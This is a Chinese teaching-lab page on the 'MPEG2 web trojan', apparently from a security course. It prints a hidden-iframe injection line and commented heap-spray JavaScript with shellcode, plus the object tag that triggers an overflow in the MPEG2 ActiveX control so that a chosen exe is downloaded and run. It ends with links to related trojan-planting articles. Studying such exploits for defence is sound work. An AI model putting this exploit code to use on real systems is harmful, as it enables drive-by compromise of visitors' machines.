MPEG2网马实验
实验目的
了解MPEG2网马的工作原理。
能分析简单的网马。
实验原理
通常被挂马的目标网站是会插入一段代码。比如: <iframe src="/muma.htm"; width="0" height="0" frameborder="0"></iframe> src参数后面的是网页木马的地址。当我们打开这个网站的首页后,会弹出网页木马的页面,这个页面我们是无法看到的,因为我们在代码中设置了弹出页面的窗口长宽各为0。此时木马也已经悄悄下载到本机并运行了。 网马危害非常大,攻击用户也是在极短时间内,作为信息安全的学生,我们必须要掌握分析网马的方法。
实验内容
用提供的工具生成MPEG2网马。
阅读生成的网马的源代码,熟悉其工作原理。
运行网马,观察生成的效果。
实验环境描述
Windows XP操作系统
MPEG-2 网马生成工具
实验步骤
1、打开控制台,进入虚拟环境。

2、用网马生成器生成网马
在d:tools51elab5112B目录下找到MPEG-2网马生成器.exe,双击打开。在弹出的对话框中输入你想要下载的地址,点击生成。

3、阅读木马文件
首先我们看muma.html,双击muma.html,右键“查看源文件”,可看到其内容如下:


这段代码就是简单的引用了darkst.png,我们继续分析这个png文件,用文本编辑器打开:

var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
实际上nndx=“%u9090%u9090”
var dashell=unescape(nndx+"%u9090%....(省略中间的字符) %u2121%u2121%u2121%u2121%u2121%u2121%u2121%u0021" + "%u6363%u5251%u634c%u5553%u4550");
dashell里面包含了shellcode
var headersize=20;
var omybro=unescape(nndx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length-slackspace);
while(shuishiMVP.length+slackspace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
以上的代码就是做heapspray,简单点说就是申请大量的堆空间,然后向里面填入nop+shellcode,这样当溢出发生的时候,eip会有很大的几率落入在这些堆中间,从而成功执行shellcode,主要用处就是用来增加溢出成功的几率。
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
以上就是溢出发生的原因,这里我们引用了0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'这个ActiveX控件里面的data属性,而这个属性在解析mepg文件的时候存在漏洞,当我们将畸形的logl。Gif文件传给他的时候,会发生溢出,从而造成执行前面的shellcode,去下载我们指定的exe文件并执行。
MPEG2网马实验的更多相关文章
- [视频]K8飞刀 一键免杀 IE神洞网马教程
[视频]K8飞刀 一键免杀 IE神洞网马教程 https://pan.baidu.com/s/16ZrTs
- Flash挂马实验
实验目的 了解Flash木马的原理和危害 实现实验所提到的命令和工具,得到实验结果 实验原理 利用Flash挂马的原理并模拟实现挂马 实验内容 掌握Flash挂马的原理并模拟实现挂马 实验环境描述 1 ...
- js zhi网马
大家对木马都不陌生了,它可能要算是计算机病毒史上最厉害的了,相信会使木马的人千千万万,但是 有很多人苦于怎么把木马发给对方,现在随着计算机的普及,在网络上我相信很少有人会再轻易的接收 对方的文件了 ...
- PGM:无向图模型:马尔可夫网
http://blog.csdn.net/pipisorry/article/details/52489321 马尔可夫网 马尔可夫网在计算机视觉领域通常称为马尔可夫随机场(Markov random ...
- 2017-2018-1 20155207&20155308《信息安全技术》实验四-木马及远程控制技术
2017-2018-1 20155207&20155308<信息安全技术>实验四-木马及远程控制技术 实验目的 剖析网页木马的工作原理 理解木马的植入过程 学会编写简单的网页木马脚 ...
- JS挂马攻防
JS挂马攻防实录 攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1), ...
- 常见JS挂马方法及如何防止网站被黑客挂马?
最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定.可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因.最后发现是网站被挂马了,导致网站被连累了.在此,借助马海祥博客的平台,给 ...
- 自制ACL+DHCP实验(初版)
(实验用gns模拟器) ACL 实验拓扑: 实验要求: 1.1.1.1→3.3.3.3 不通 11.11.11.11→3.3.3.3 通 2.2.2.2→3.3.3.3 通 实验步骤: 步骤一:基本配 ...
- linux下的外网木马前期要的工具
这周看了demon哥的博客弄msf外网马,自己试了一下 首先去ngrok官网下载对应的系统版本,如果对应下载那个标签是绿色的(这里不支持windows) 下载好后在linux提取出来 让我们来看看他的 ...
随机推荐
- 数据库DDL、DML、DCL、DQL、DPL、CCL的全称和使用
数据库DDL.DML.DCL.DQL.DPL.CCL的全称和使用 简介: SQL (Structure Query Language):结构化查询语言,一种特殊目的的编程语言,一种数据库查询和程序设计 ...
- elementui表格里面的索引,多选的复用解决
使用elementui表格时,当一个页面通过if判断有多个不同的表格时,其中一个或多个表格想要设置索引或者多选框时,会发现你在第一个里面设置了索引或者多选框,其他的表格都会出现,你在后面的其中一个设置 ...
- Mongodb全备+增备+oplog恢复误删数据
此时测试表中有7条数据,做个全备. 全备: mongodump --host=192.168.43.43 --port=37017 --oplog --out=/opt/mongo/fullbacku ...
- maven常用打包命令
常用maven命令 执行与构建过程(编译,测试,打包)相关的命令必须进入pom.xml所在位置执行 mvn clean:清理(打包好的程序放在生成的名为target的文件中,清理即删除文件中打包好的程 ...
- alpakka-kafka(9)-kafka在分布式运算中的应用
kafka具备的分布式.高吞吐.高可用特性,以及所提供的各种消息消费模式可以保证在一个多节点集群环境里消息被消费的安全性:即防止每条消息遗漏处理或重复消费.特别是exactly-once消费策略:可以 ...
- 人工智能与智能系统1->机器人学1 | 位置与姿态描述
寒假有几项学习计划,其中有一些是为了一些任务而学,最主要的任务是我要在2021_v4的基础上编写2022_v1的大援代码,为此顺便学习一下机器人学的知识(下学期也有这方面的老黄的课程),看看能不能在结 ...
- ApacheCN Python 译文集(二)20211110 更新
Python 应用计算思维 零.序言 第一部分:计算思维导论 一.计算机科学基础 二.计算思维要素 三.理解算法和算法思维 四.理解逻辑推理 五.探究性问题分析 六.设计解决方案和解决流程 七.识别解 ...
- 「NOI十联测」深邃
「NOI十联测」深邃 要使得最大的连通块最小,显然先二分答案. 先固定1结点为根. 对于一个果实,显然是先处理子树中未分配的点,再向外延伸. 每个结点记录一个\(si[]\),表示子树中未分配的点数, ...
- axios 之cancelToken原理以及使用
看axios文档的时候发现cancelToken这个东东,这个是用来取消ajax请求的,一般原生的话用的是abort()这个方法.看到这玩意的第一感觉是用起来有点麻烦,但是看了内部实现,发现还是比较有 ...
- Python property动态属性
from datetime import datetime, date class User: def __init__(self, name, birthday): self.name = name ...